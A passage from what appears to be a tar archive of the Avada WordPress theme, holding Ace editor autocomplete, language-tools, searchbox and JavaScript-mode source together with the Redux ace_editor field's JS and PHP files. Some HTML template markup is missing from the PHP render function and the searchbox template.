renderer.$maxLines * lineHeight * 1.4; var top = pos.top + this.$borderSize; var allowTopdown = top > screenHeight / 2 && !topdownOnly; if (allowTopdown && top + lineHeight + maxH > screenHeight) { renderer.$maxPixelHeight = top - 2 * this.$borderSize; el.style.top = ""; el.style.bottom = screenHeight - top + "px"; popup.isTopdown = false; } else { top += lineHeight; renderer.$maxPixelHeight = screenHeight - top - 0.2 * lineHeight; el.style.top = top + "px"; el.style.bottom = ""; popup.isTopdown = true; } el.style.display = ""; this.renderer.$textLayer.checkForSizeChanges(); var left = pos.left; if (left + el.offsetWidth > screenWidth) left = screenWidth - el.offsetWidth; el.style.left = left + "px"; this._signal("show"); lastMouseEvent = null; popup.isOpen = true; }; popup.getTextLeftOffset = function() { return this.$borderSize + this.renderer.$padding + this.$imageSize; }; popup.$imageSize = 0; popup.$borderSize = 1; return popup; }; dom.importCssString("\ .ace_editor.ace_autocomplete .ace_marker-layer .ace_active-line {\ background-color: #CAD6FA;\ z-index: 1;\ }\ .ace_editor.ace_autocomplete .ace_line-hover {\ border: 1px solid #abbffe;\ margin-top: -1px;\ background: rgba(233,233,253,0.4);\ }\ .ace_editor.ace_autocomplete .ace_line-hover {\ position: absolute;\ z-index: 2;\ }\ .ace_editor.ace_autocomplete .ace_scroller {\ background: none;\ border: none;\ box-shadow: none;\ }\ .ace_rightAlignedText {\ color: gray;\ display: inline-block;\ position: absolute;\ right: 4px;\ text-align: right;\ z-index: -1;\ }\ .ace_editor.ace_autocomplete .ace_completion-highlight{\ color: #000;\ text-shadow: 0 0 0.01em;\ }\ .ace_editor.ace_autocomplete {\ width: 280px;\ z-index: 200000;\ background: #fbfbfb;\ color: #444;\ border: 1px lightgray solid;\ position: fixed;\ box-shadow: 2px 3px 5px rgba(0,0,0,.2);\ line-height: 1.4;\ }"); exports.AcePopup = AcePopup; }); ace.define("ace/autocomplete/util",["require","exports","module"], function(require, exports, module) { "use strict"; exports.parForEach = function(array, fn, callback) { var completed = 0; var arLength = array.length; if (arLength === 0) callback(); for (var i = 0; i < arLength; i++) { fn(array[i], function(result, err) { completed++; if (completed === arLength) callback(result, err); }); } }; var ID_REGEX = /[a-zA-Z_0-9\$\-\u00A2-\uFFFF]/; exports.retrievePrecedingIdentifier = function(text, pos, regex) { regex = regex || ID_REGEX; var buf = []; for (var i = pos-1; i >= 0; i--) { if (regex.test(text[i])) buf.push(text[i]); else break; } return buf.reverse().join(""); }; exports.retrieveFollowingIdentifier = function(text, pos, regex) { regex = regex || ID_REGEX; var buf = []; for (var i = pos; i < text.length; i++) { if (regex.test(text[i])) buf.push(text[i]); else break; } return buf; }; exports.getCompletionPrefix = function (editor) { var pos = editor.getCursorPosition(); var line = editor.session.getLine(pos.row); var prefix; editor.completers.forEach(function(completer) { if (completer.identifierRegexps) { completer.identifierRegexps.forEach(function(identifierRegex) { if (!prefix && identifierRegex) prefix = this.retrievePrecedingIdentifier(line, pos.column, identifierRegex); }.bind(this)); } }.bind(this)); return prefix || this.retrievePrecedingIdentifier(line, pos.column); }; }); ace.define("ace/autocomplete",["require","exports","module","ace/keyboard/hash_handler","ace/autocomplete/popup","ace/autocomplete/util","ace/lib/event","ace/lib/lang","ace/lib/dom","ace/snippets"], function(require, exports, module) { "use strict"; var HashHandler = require("./keyboard/hash_handler").HashHandler; var AcePopup = require("./autocomplete/popup").AcePopup; var util = require("./autocomplete/util"); var event = require("./lib/event"); var lang = require("./lib/lang"); var dom = require("./lib/dom"); var snippetManager = require("./snippets").snippetManager; var Autocomplete = function() { this.autoInsert = false; this.autoSelect = true; this.exactMatch = false; this.gatherCompletionsId = 0; this.keyboardHandler = new HashHandler(); this.keyboardHandler.bindKeys(this.commands); this.blurListener = this.blurListener.bind(this); this.changeListener = this.changeListener.bind(this); this.mousedownListener = this.mousedownListener.bind(this); this.mousewheelListener = this.mousewheelListener.bind(this); this.changeTimer = lang.delayedCall(function() { this.updateCompletions(true); }.bind(this)); this.tooltipTimer = lang.delayedCall(this.updateDocTooltip.bind(this), 50); }; (function() { this.$init = function() { this.popup = new AcePopup(document.body || document.documentElement); this.popup.on("click", function(e) { this.insertMatch(); e.stop(); }.bind(this)); this.popup.focus = this.editor.focus.bind(this.editor); this.popup.on("show", this.tooltipTimer.bind(null, null)); this.popup.on("select", this.tooltipTimer.bind(null, null)); this.popup.on("changeHoverMarker", this.tooltipTimer.bind(null, null)); return this.popup; }; this.getPopup = function() { return this.popup || this.$init(); }; this.openPopup = function(editor, prefix, keepPopupPosition) { if (!this.popup) this.$init(); this.popup.setData(this.completions.filtered); editor.keyBinding.addKeyboardHandler(this.keyboardHandler); var renderer = editor.renderer; this.popup.setRow(this.autoSelect ? 0 : -1); if (!keepPopupPosition) { this.popup.setTheme(editor.getTheme()); this.popup.setFontSize(editor.getFontSize()); var lineHeight = renderer.layerConfig.lineHeight; var pos = renderer.$cursorLayer.getPixelPosition(this.base, true); pos.left -= this.popup.getTextLeftOffset(); var rect = editor.container.getBoundingClientRect(); pos.top += rect.top - renderer.layerConfig.offset; pos.left += rect.left - editor.renderer.scrollLeft; pos.left += renderer.gutterWidth; this.popup.show(pos, lineHeight); } else if (keepPopupPosition && !prefix) { this.detach(); } }; this.detach = function() { this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler); this.editor.off("changeSelection", this.changeListener); this.editor.off("blur", this.blurListener); this.editor.off("mousedown", this.mousedownListener); this.editor.off("mousewheel", this.mousewheelListener); this.changeTimer.cancel(); this.hideDocTooltip(); this.gatherCompletionsId += 1; if (this.popup && this.popup.isOpen) this.popup.hide(); if (this.base) this.base.detach(); this.activated = false; this.completions = this.base = null; }; this.changeListener = function(e) { var cursor = this.editor.selection.lead; if (cursor.row != this.base.row || cursor.column < this.base.column) { this.detach(); } if (this.activated) this.changeTimer.schedule(); else this.detach(); }; this.blurListener = function(e) { var el = document.activeElement; var text = this.editor.textInput.getElement(); var fromTooltip = e.relatedTarget && e.relatedTarget == this.tooltipNode; var container = this.popup && this.popup.container; if (el != text && el.parentNode != container && !fromTooltip && el != this.tooltipNode && e.relatedTarget != text ) { this.detach(); } }; this.mousedownListener = function(e) { this.detach(); }; this.mousewheelListener = function(e) { this.detach(); }; this.goTo = function(where) { var row = this.popup.getRow(); var max = this.popup.session.getLength() - 1; switch(where) { case "up": row = row <= 0 ? max : row - 1; break; case "down": row = row >= max ? -1 : row + 1; break; case "start": row = 0; break; case "end": row = max; break; } this.popup.setRow(row); }; this.insertMatch = function(data, options) { if (!data) data = this.popup.getData(this.popup.getRow()); if (!data) return false; if (data.completer && data.completer.insertMatch) { data.completer.insertMatch(this.editor, data); } else { if (this.completions.filterText) { var ranges = this.editor.selection.getAllRanges(); for (var i = 0, range; range = ranges[i]; i++) { range.start.column -= this.completions.filterText.length; this.editor.session.remove(range); } } if (data.snippet) snippetManager.insertSnippet(this.editor, data.snippet); else this.editor.execCommand("insertstring", data.value || data); } this.detach(); }; this.commands = { "Up": function(editor) { editor.completer.goTo("up"); }, "Down": function(editor) { editor.completer.goTo("down"); }, "Ctrl-Up|Ctrl-Home": function(editor) { editor.completer.goTo("start"); }, "Ctrl-Down|Ctrl-End": function(editor) { editor.completer.goTo("end"); }, "Esc": function(editor) { editor.completer.detach(); }, "Return": function(editor) { return editor.completer.insertMatch(); }, "Shift-Return": function(editor) { editor.completer.insertMatch(null, {deleteSuffix: true}); }, "Tab": function(editor) { var result = editor.completer.insertMatch(); if (!result && !editor.tabstopManager) editor.completer.goTo("down"); else return result; }, "PageUp": function(editor) { editor.completer.popup.gotoPageUp(); }, "PageDown": function(editor) { editor.completer.popup.gotoPageDown(); } }; this.gatherCompletions = function(editor, callback) { var session = editor.getSession(); var pos = editor.getCursorPosition(); var line = session.getLine(pos.row); var prefix = util.getCompletionPrefix(editor); this.base = session.doc.createAnchor(pos.row, pos.column - prefix.length); this.base.$insertRight = true; var matches = []; var total = editor.completers.length; editor.completers.forEach(function(completer, i) { completer.getCompletions(editor, session, pos, prefix, function(err, results) { if (!err && results) matches = matches.concat(results); var pos = editor.getCursorPosition(); var line = session.getLine(pos.row); callback(null, { prefix: prefix, matches: matches, finished: (--total === 0) }); }); }); return true; }; this.showPopup = function(editor) { if (this.editor) this.detach(); this.activated = true; this.editor = editor; if (editor.completer != this) { if (editor.completer) editor.completer.detach(); editor.completer = this; } editor.on("changeSelection", this.changeListener); editor.on("blur", this.blurListener); editor.on("mousedown", this.mousedownListener); editor.on("mousewheel", this.mousewheelListener); this.updateCompletions(); }; this.updateCompletions = function(keepPopupPosition) { if (keepPopupPosition && this.base && this.completions) { var pos = this.editor.getCursorPosition(); var prefix = this.editor.session.getTextRange({start: this.base, end: pos}); if (prefix == this.completions.filterText) return; this.completions.setFilter(prefix); if (!this.completions.filtered.length) return this.detach(); if (this.completions.filtered.length == 1 && this.completions.filtered[0].value == prefix && !this.completions.filtered[0].snippet) return this.detach(); this.openPopup(this.editor, prefix, keepPopupPosition); return; } var _id = this.gatherCompletionsId; this.gatherCompletions(this.editor, function(err, results) { var detachIfFinished = function() { if (!results.finished) return; return this.detach(); }.bind(this); var prefix = results.prefix; var matches = results && results.matches; if (!matches || !matches.length) return detachIfFinished(); if (prefix.indexOf(results.prefix) !== 0 || _id != this.gatherCompletionsId) return; this.completions = new FilteredList(matches); if (this.exactMatch) this.completions.exactMatch = true; this.completions.setFilter(prefix); var filtered = this.completions.filtered; if (!filtered.length) return detachIfFinished(); if (filtered.length == 1 && filtered[0].value == prefix && !filtered[0].snippet) return detachIfFinished(); if (this.autoInsert && filtered.length == 1 && results.finished) return this.insertMatch(filtered[0]); this.openPopup(this.editor, prefix, keepPopupPosition); }.bind(this)); }; this.cancelContextMenu = function() { this.editor.$mouseHandler.cancelContextMenu(); }; this.updateDocTooltip = function() { var popup = this.popup; var all = popup.data; var selected = all && (all[popup.getHoveredRow()] || all[popup.getRow()]); var doc = null; if (!selected || !this.editor || !this.popup.isOpen) return this.hideDocTooltip(); this.editor.completers.some(function(completer) { if (completer.getDocTooltip) doc = completer.getDocTooltip(selected); return doc; }); if (!doc) doc = selected; if (typeof doc == "string") doc = {docText: doc}; if (!doc || !(doc.docHTML || doc.docText)) return this.hideDocTooltip(); this.showDocTooltip(doc); }; this.showDocTooltip = function(item) { if (!this.tooltipNode) { this.tooltipNode = dom.createElement("div"); this.tooltipNode.className = "ace_tooltip ace_doc-tooltip"; this.tooltipNode.style.margin = 0; this.tooltipNode.style.pointerEvents = "auto"; this.tooltipNode.tabIndex = -1; this.tooltipNode.onblur = this.blurListener.bind(this); } var tooltipNode = this.tooltipNode; if (item.docHTML) { tooltipNode.innerHTML = item.docHTML; } else if (item.docText) { tooltipNode.textContent = item.docText; } if (!tooltipNode.parentNode) document.body.appendChild(tooltipNode); var popup = this.popup; var rect = popup.container.getBoundingClientRect(); tooltipNode.style.top = popup.container.style.top; tooltipNode.style.bottom = popup.container.style.bottom; if (window.innerWidth - rect.right < 320) { tooltipNode.style.right = window.innerWidth - rect.left + "px"; tooltipNode.style.left = ""; } else { tooltipNode.style.left = (rect.right + 1) + "px"; tooltipNode.style.right = ""; } tooltipNode.style.display = "block"; }; this.hideDocTooltip = function() { this.tooltipTimer.cancel(); if (!this.tooltipNode) return; var el = this.tooltipNode; if (!this.editor.isFocused() && document.activeElement == el) this.editor.focus(); this.tooltipNode = null; if (el.parentNode) el.parentNode.removeChild(el); }; }).call(Autocomplete.prototype); Autocomplete.startCommand = { name: "startAutocomplete", exec: function(editor) { if (!editor.completer) editor.completer = new Autocomplete(); editor.completer.autoInsert = false; editor.completer.autoSelect = true; editor.completer.showPopup(editor); editor.completer.cancelContextMenu(); }, bindKey: "Ctrl-Space|Ctrl-Shift-Space|Alt-Space" }; var FilteredList = function(array, filterText) { this.all = array; this.filtered = array; this.filterText = filterText || ""; this.exactMatch = false; }; (function(){ this.setFilter = function(str) { if (str.length > this.filterText && str.lastIndexOf(this.filterText, 0) === 0) var matches = this.filtered; else var matches = this.all; this.filterText = str; matches = this.filterCompletions(matches, this.filterText); matches = matches.sort(function(a, b) { return b.exactMatch - a.exactMatch || b.score - a.score; }); var prev = null; matches = matches.filter(function(item){ var caption = item.snippet || item.caption || item.value; if (caption === prev) return false; prev = caption; return true; }); this.filtered = matches; }; this.filterCompletions = function(items, needle) { var results = []; var upper = needle.toUpperCase(); var lower = needle.toLowerCase(); loop: for (var i = 0, item; item = items[i]; i++) { var caption = item.value || item.caption || item.snippet; if (!caption) continue; var lastIndex = -1; var matchMask = 0; var penalty = 0; var index, distance; if (this.exactMatch) { if (needle !== caption.substr(0, needle.length)) continue loop; }else{ for (var j = 0; j < needle.length; j++) { var i1 = caption.indexOf(lower[j], lastIndex + 1); var i2 = caption.indexOf(upper[j], lastIndex + 1); index = (i1 >= 0) ? ((i2 < 0 || i1 < i2) ? i1 : i2) : i2; if (index < 0) continue loop; distance = index - lastIndex - 1; if (distance > 0) { if (lastIndex === -1) penalty += 10; penalty += distance; } matchMask = matchMask | (1 << index); lastIndex = index; } } item.matchMask = matchMask; item.exactMatch = penalty ? 0 : 1; item.score = (item.score || 0) - penalty; results.push(item); } return results; }; }).call(FilteredList.prototype); exports.Autocomplete = Autocomplete; exports.FilteredList = FilteredList; }); ace.define("ace/autocomplete/text_completer",["require","exports","module","ace/range"], function(require, exports, module) { var Range = require("../range").Range; var splitRegex = /[^a-zA-Z_0-9\$\-\u00C0-\u1FFF\u2C00-\uD7FF\w]+/; function getWordIndex(doc, pos) { var textBefore = doc.getTextRange(Range.fromPoints({row: 0, column:0}, pos)); return textBefore.split(splitRegex).length - 1; } function wordDistance(doc, pos) { var prefixPos = getWordIndex(doc, pos); var words = doc.getValue().split(splitRegex); var wordScores = Object.create(null); var currentWord = words[prefixPos]; words.forEach(function(word, idx) { if (!word || word === currentWord) return; var distance = Math.abs(prefixPos - idx); var score = words.length - distance; if (wordScores[word]) { wordScores[word] = Math.max(score, wordScores[word]); } else { wordScores[word] = score; } }); return wordScores; } exports.getCompletions = function(editor, session, pos, prefix, callback) { var wordScore = wordDistance(session, pos, prefix); var wordList = Object.keys(wordScore); callback(null, wordList.map(function(word) { return { caption: word, value: word, score: wordScore[word], meta: "local" }; })); }; }); ace.define("ace/ext/language_tools",["require","exports","module","ace/snippets","ace/autocomplete","ace/config","ace/lib/lang","ace/autocomplete/util","ace/autocomplete/text_completer","ace/editor","ace/config"], function(require, exports, module) { "use strict"; var snippetManager = require("../snippets").snippetManager; var Autocomplete = require("../autocomplete").Autocomplete; var config = require("../config"); var lang = require("../lib/lang"); var util = require("../autocomplete/util"); var textCompleter = require("../autocomplete/text_completer"); var keyWordCompleter = { getCompletions: function(editor, session, pos, prefix, callback) { if (session.$mode.completer) { return session.$mode.completer.getCompletions(editor, session, pos, prefix, callback); } var state = editor.session.getState(pos.row); var completions = session.$mode.getCompletions(state, session, pos, prefix); callback(null, completions); } }; var snippetCompleter = { getCompletions: function(editor, session, pos, prefix, callback) { var snippetMap = snippetManager.snippetMap; var completions = []; snippetManager.getActiveScopes(editor).forEach(function(scope) { var snippets = snippetMap[scope] || []; for (var i = snippets.length; i--;) { var s = snippets[i]; var caption = s.name || s.tabTrigger; if (!caption) continue; completions.push({ caption: caption, snippet: s.content, meta: s.tabTrigger && !s.name ? s.tabTrigger + "\u21E5 " : "snippet", type: "snippet" }); } }, this); callback(null, completions); }, getDocTooltip: function(item) { if (item.type == "snippet" && !item.docHTML) { item.docHTML = [ "", lang.escapeHTML(item.caption), "", "
    ", lang.escapeHTML(item.snippet) ].join(""); } } }; var completers = [snippetCompleter, textCompleter, keyWordCompleter]; exports.setCompleters = function(val) { completers.length = 0; if (val) completers.push.apply(completers, val); }; exports.addCompleter = function(completer) { completers.push(completer); }; exports.textCompleter = textCompleter; exports.keyWordCompleter = keyWordCompleter; exports.snippetCompleter = snippetCompleter; var expandSnippet = { name: "expandSnippet", exec: function(editor) { return snippetManager.expandWithTab(editor); }, bindKey: "Tab" }; var onChangeMode = function(e, editor) { loadSnippetsForMode(editor.session.$mode); }; var loadSnippetsForMode = function(mode) { var id = mode.$id; if (!snippetManager.files) snippetManager.files = {}; loadSnippetFile(id); if (mode.modes) mode.modes.forEach(loadSnippetsForMode); }; var loadSnippetFile = function(id) { if (!id || snippetManager.files[id]) return; var snippetFilePath = id.replace("mode", "snippets"); snippetManager.files[id] = {}; config.loadModule(snippetFilePath, function(m) { if (m) { snippetManager.files[id] = m; if (!m.snippets && m.snippetText) m.snippets = snippetManager.parseSnippetFile(m.snippetText); snippetManager.register(m.snippets || [], m.scope); if (m.includeScopes) { snippetManager.snippetMap[m.scope].includeScopes = m.includeScopes; m.includeScopes.forEach(function(x) { loadSnippetFile("ace/mode/" + x); }); } } }); }; var doLiveAutocomplete = function(e) { var editor = e.editor; var hasCompleter = editor.completer && editor.completer.activated; if (e.command.name === "backspace") { if (hasCompleter && !util.getCompletionPrefix(editor)) editor.completer.detach(); } else if (e.command.name === "insertstring") { var prefix = util.getCompletionPrefix(editor); if (prefix && !hasCompleter) { if (!editor.completer) { editor.completer = new Autocomplete(); } editor.completer.autoInsert = false; editor.completer.showPopup(editor); } } }; var Editor = require("../editor").Editor; require("../config").defineOptions(Editor.prototype, "editor", { enableBasicAutocompletion: { set: function(val) { if (val) { if (!this.completers) this.completers = Array.isArray(val)? val: completers; this.commands.addCommand(Autocomplete.startCommand); } else { this.commands.removeCommand(Autocomplete.startCommand); } }, value: false }, enableLiveAutocompletion: { set: function(val) { if (val) { if (!this.completers) this.completers = Array.isArray(val)? val: completers; this.commands.on('afterExec', doLiveAutocomplete); } else { this.commands.removeListener('afterExec', doLiveAutocomplete); } }, value: false }, enableSnippets: { set: function(val) { if (val) { this.commands.addCommand(expandSnippet); this.on("changeMode", onChangeMode); onChangeMode(null, this); } else { this.commands.removeCommand(expandSnippet); this.off("changeMode", onChangeMode); } }, value: false } }); }); (function() { ace.require(["ace/ext/language_tools"], function() {}); })(); Avada/includes/lib/inc/redux/custom-fields/ace_editor/field_ace_editor.js000064400000003335152342437700022522 0ustar00/*global jQuery, document, fusionredux*/ (function( $ ) { 'use strict'; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.ace_editor = fusionredux.field_objects.ace_editor || {}; fusionredux.field_objects.ace_editor.init = function( selector ) { if ( ! selector ) { selector = $( document ).find( '.fusionredux-group-tab:visible' ).find( '.fusionredux-container-ace_editor:visible' ); } $( selector ).each( function() { var el = $( this ), parent = el; if ( ! el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ':hidden' ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } el.find( '.ace-editor' ).each( function( index, element ) { var area = element, params = JSON.parse( $( this ).parent().find( '.localize_data' ).val() ), editor = $( element ).attr( 'data-editor' ), aceeditor = ace.edit( editor ), parent = ''; aceeditor.setTheme( 'ace/theme/chrome' ); aceeditor.getSession().setMode( 'ace/mode/' + $( element ).attr( 'data-mode' ) ); if ( el.hasClass( 'fusionredux-field-container' ) ) { parent = el.attr( 'data-id' ); } else { parent = el.parents( '.fusionredux-field-container:first' ).attr( 'data-id' ); } aceeditor.setOptions( params ); aceeditor.on( 'change', function( e ) { $( '#' + area.id ).val( aceeditor.getSession().getValue() ); fusionredux_change( $( element ) ); aceeditor.resize(); } ); }); }); }; })( jQuery ); Avada/includes/lib/inc/redux/custom-fields/ace_editor/field_ace_editor.php000064400000010424152342437700022672 0ustar00. * * @package FusionRedux_Field * @subpackage ACE_Editor * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'FusionReduxFramework_ace_editor' ) ) { class FusionReduxFramework_ace_editor { public $parent; public $field; public $value; /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since FusionReduxFramework 1.0.0 */ function __construct( $field = array(), $value = '', $parent = null ) { $this->parent = $parent; $this->field = $field; $this->value = $value; if ( is_array( $this->value ) ) { $this->value = ''; } else { $this->value = trim( $this->value ); } if ( ! empty( $this->field['options'] ) ) { $this->field['args'] = $this->field['options']; unset( $this->field['options'] ); } } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function render() { if ( ! isset( $this->field['mode'] ) ) { $this->field['mode'] = 'javascript'; } if ( ! isset( $this->field['theme'] ) ) { $this->field['theme'] = 'monokai'; } $params = array( 'minLines' => 10, 'maxLines' => 30, ); if ( isset( $this->field['args'] ) && ! empty( $this->field['args'] ) && is_array( $this->field['args'] ) ) { $params = wp_parse_args( $this->field['args'], $params ); } ?>
    value ); ?>
    \ \
    \ \ \ \ \
    \
    \ \ \ \
    \
    \ .*\ Aa\ \\b\
    \
    '.replace(/>\s+/g, ">"); var SearchBox = function(editor, range, showReplaceForm) { var div = dom.createElement("div"); div.innerHTML = html; this.element = div.firstChild; this.$init(); this.setEditor(editor); }; (function() { this.setEditor = function(editor) { editor.searchBox = this; editor.container.appendChild(this.element); this.editor = editor; }; this.$initElements = function(sb) { this.searchBox = sb.querySelector(".ace_search_form"); this.replaceBox = sb.querySelector(".ace_replace_form"); this.searchOptions = sb.querySelector(".ace_search_options"); this.regExpOption = sb.querySelector("[action=toggleRegexpMode]"); this.caseSensitiveOption = sb.querySelector("[action=toggleCaseSensitive]"); this.wholeWordOption = sb.querySelector("[action=toggleWholeWords]"); this.searchInput = this.searchBox.querySelector(".ace_search_field"); this.replaceInput = this.replaceBox.querySelector(".ace_search_field"); }; this.$init = function() { var sb = this.element; this.$initElements(sb); var _this = this; event.addListener(sb, "mousedown", function(e) { setTimeout(function(){ _this.activeInput.focus(); }, 0); event.stopPropagation(e); }); event.addListener(sb, "click", function(e) { var t = e.target || e.srcElement; var action = t.getAttribute("action"); if (action && _this[action]) _this[action](); else if (_this.$searchBarKb.commands[action]) _this.$searchBarKb.commands[action].exec(_this); event.stopPropagation(e); }); event.addCommandKeyListener(sb, function(e, hashId, keyCode) { var keyString = keyUtil.keyCodeToString(keyCode); var command = _this.$searchBarKb.findKeyCommand(hashId, keyString); if (command && command.exec) { command.exec(_this); event.stopEvent(e); } }); this.$onChange = lang.delayedCall(function() { _this.find(false, false); }); event.addListener(this.searchInput, "input", function() { _this.$onChange.schedule(20); }); event.addListener(this.searchInput, "focus", function() { _this.activeInput = _this.searchInput; _this.searchInput.value && _this.highlight(); }); event.addListener(this.replaceInput, "focus", function() { _this.activeInput = _this.replaceInput; _this.searchInput.value && _this.highlight(); }); }; this.$closeSearchBarKb = new HashHandler([{ bindKey: "Esc", name: "closeSearchBar", exec: function(editor) { editor.searchBox.hide(); } }]); this.$searchBarKb = new HashHandler(); this.$searchBarKb.bindKeys({ "Ctrl-f|Command-f": function(sb) { var isReplace = sb.isReplace = !sb.isReplace; sb.replaceBox.style.display = isReplace ? "" : "none"; sb.searchInput.focus(); }, "Ctrl-H|Command-Option-F": function(sb) { sb.replaceBox.style.display = ""; sb.replaceInput.focus(); }, "Ctrl-G|Command-G": function(sb) { sb.findNext(); }, "Ctrl-Shift-G|Command-Shift-G": function(sb) { sb.findPrev(); }, "esc": function(sb) { setTimeout(function() { sb.hide();}); }, "Return": function(sb) { if (sb.activeInput == sb.replaceInput) sb.replace(); sb.findNext(); }, "Shift-Return": function(sb) { if (sb.activeInput == sb.replaceInput) sb.replace(); sb.findPrev(); }, "Alt-Return": function(sb) { if (sb.activeInput == sb.replaceInput) sb.replaceAll(); sb.findAll(); }, "Tab": function(sb) { (sb.activeInput == sb.replaceInput ? sb.searchInput : sb.replaceInput).focus(); } }); this.$searchBarKb.addCommands([{ name: "toggleRegexpMode", bindKey: {win: "Alt-R|Alt-/", mac: "Ctrl-Alt-R|Ctrl-Alt-/"}, exec: function(sb) { sb.regExpOption.checked = !sb.regExpOption.checked; sb.$syncOptions(); } }, { name: "toggleCaseSensitive", bindKey: {win: "Alt-C|Alt-I", mac: "Ctrl-Alt-R|Ctrl-Alt-I"}, exec: function(sb) { sb.caseSensitiveOption.checked = !sb.caseSensitiveOption.checked; sb.$syncOptions(); } }, { name: "toggleWholeWords", bindKey: {win: "Alt-B|Alt-W", mac: "Ctrl-Alt-B|Ctrl-Alt-W"}, exec: function(sb) { sb.wholeWordOption.checked = !sb.wholeWordOption.checked; sb.$syncOptions(); } }]); this.$syncOptions = function() { dom.setCssClass(this.regExpOption, "checked", this.regExpOption.checked); dom.setCssClass(this.wholeWordOption, "checked", this.wholeWordOption.checked); dom.setCssClass(this.caseSensitiveOption, "checked", this.caseSensitiveOption.checked); this.find(false, false); }; this.highlight = function(re) { this.editor.session.highlight(re || this.editor.$search.$options.re); this.editor.renderer.updateBackMarkers() }; this.find = function(skipCurrent, backwards, preventScroll) { var range = this.editor.find(this.searchInput.value, { skipCurrent: skipCurrent, backwards: backwards, wrap: true, regExp: this.regExpOption.checked, caseSensitive: this.caseSensitiveOption.checked, wholeWord: this.wholeWordOption.checked, preventScroll: preventScroll }); var noMatch = !range && this.searchInput.value; dom.setCssClass(this.searchBox, "ace_nomatch", noMatch); this.editor._emit("findSearchBox", { match: !noMatch }); this.highlight(); }; this.findNext = function() { this.find(true, false); }; this.findPrev = function() { this.find(true, true); }; this.findAll = function(){ var range = this.editor.findAll(this.searchInput.value, { regExp: this.regExpOption.checked, caseSensitive: this.caseSensitiveOption.checked, wholeWord: this.wholeWordOption.checked }); var noMatch = !range && this.searchInput.value; dom.setCssClass(this.searchBox, "ace_nomatch", noMatch); this.editor._emit("findSearchBox", { match: !noMatch }); this.highlight(); this.hide(); }; this.replace = function() { if (!this.editor.getReadOnly()) this.editor.replace(this.replaceInput.value); }; this.replaceAndFindNext = function() { if (!this.editor.getReadOnly()) { this.editor.replace(this.replaceInput.value); this.findNext() } }; this.replaceAll = function() { if (!this.editor.getReadOnly()) this.editor.replaceAll(this.replaceInput.value); }; this.hide = function() { this.element.style.display = "none"; this.editor.keyBinding.removeKeyboardHandler(this.$closeSearchBarKb); this.editor.focus(); }; this.show = function(value, isReplace) { this.element.style.display = ""; this.replaceBox.style.display = isReplace ? "" : "none"; this.isReplace = isReplace; if (value) this.searchInput.value = value; this.find(false, false, true); this.searchInput.focus(); this.searchInput.select(); this.editor.keyBinding.addKeyboardHandler(this.$closeSearchBarKb); }; this.isFocused = function() { var el = document.activeElement; return el == this.searchInput || el == this.replaceInput; } }).call(SearchBox.prototype); exports.SearchBox = SearchBox; exports.Search = function(editor, isReplace) { var sb = editor.searchBox || new SearchBox(editor); sb.show(editor.session.getTextRange(), isReplace); }; }); (function() { ace.require(["ace/ext/searchbox"], function() {}); })(); Avada/includes/lib/inc/redux/custom-fields/ace_editor/mode-javascript.js000064400000131777152342437700022365 0ustar00ace.define("ace/mode/doc_comment_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var DocCommentHighlightRules = function() { this.$rules = { "start" : [ { token : "comment.doc.tag", regex : "@[\\w\\d_]+" // TODO: fix email addresses }, DocCommentHighlightRules.getTagRule(), { defaultToken : "comment.doc", caseInsensitive: true }] }; }; oop.inherits(DocCommentHighlightRules, TextHighlightRules); DocCommentHighlightRules.getTagRule = function(start) { return { token : "comment.doc.tag.storage.type", regex : "\\b(?:TODO|FIXME|XXX|HACK)\\b" }; } DocCommentHighlightRules.getStartRule = function(start) { return { token : "comment.doc", // doc comment regex : "\\/\\*(?=\\*)", next : start }; }; DocCommentHighlightRules.getEndRule = function (start) { return { token : "comment.doc", // closing comment regex : "\\*\\/", next : start }; }; exports.DocCommentHighlightRules = DocCommentHighlightRules; }); ace.define("ace/mode/javascript_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/doc_comment_highlight_rules","ace/mode/text_highlight_rules"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var DocCommentHighlightRules = require("./doc_comment_highlight_rules").DocCommentHighlightRules; var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var identifierRe = "[a-zA-Z\\$_\u00a1-\uffff][a-zA-Z\\d\\$_\u00a1-\uffff]*"; var JavaScriptHighlightRules = function(options) { var keywordMapper = this.createKeywordMapper({ "variable.language": "Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|" + // Constructors "Namespace|QName|XML|XMLList|" + // E4X "ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|" + "Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|" + "Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|" + // Errors "SyntaxError|TypeError|URIError|" + "decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|" + // Non-constructor functions "isNaN|parseFloat|parseInt|" + "JSON|Math|" + // Other "this|arguments|prototype|window|document" , // Pseudo "keyword": "const|yield|import|get|set|async|await|" + "break|case|catch|continue|default|delete|do|else|finally|for|function|" + "if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|" + "__parent__|__count__|escape|unescape|with|__proto__|" + "class|enum|extends|super|export|implements|private|public|interface|package|protected|static", "storage.type": "const|let|var|function", "constant.language": "null|Infinity|NaN|undefined", "support.function": "alert", "constant.language.boolean": "true|false" }, "identifier"); var kwBeforeRe = "case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void"; var escapedRe = "\\\\(?:x[0-9a-fA-F]{2}|" + // hex "u[0-9a-fA-F]{4}|" + // unicode "u{[0-9a-fA-F]{1,6}}|" + // es6 unicode "[0-2][0-7]{0,2}|" + // oct "3[0-7][0-7]?|" + 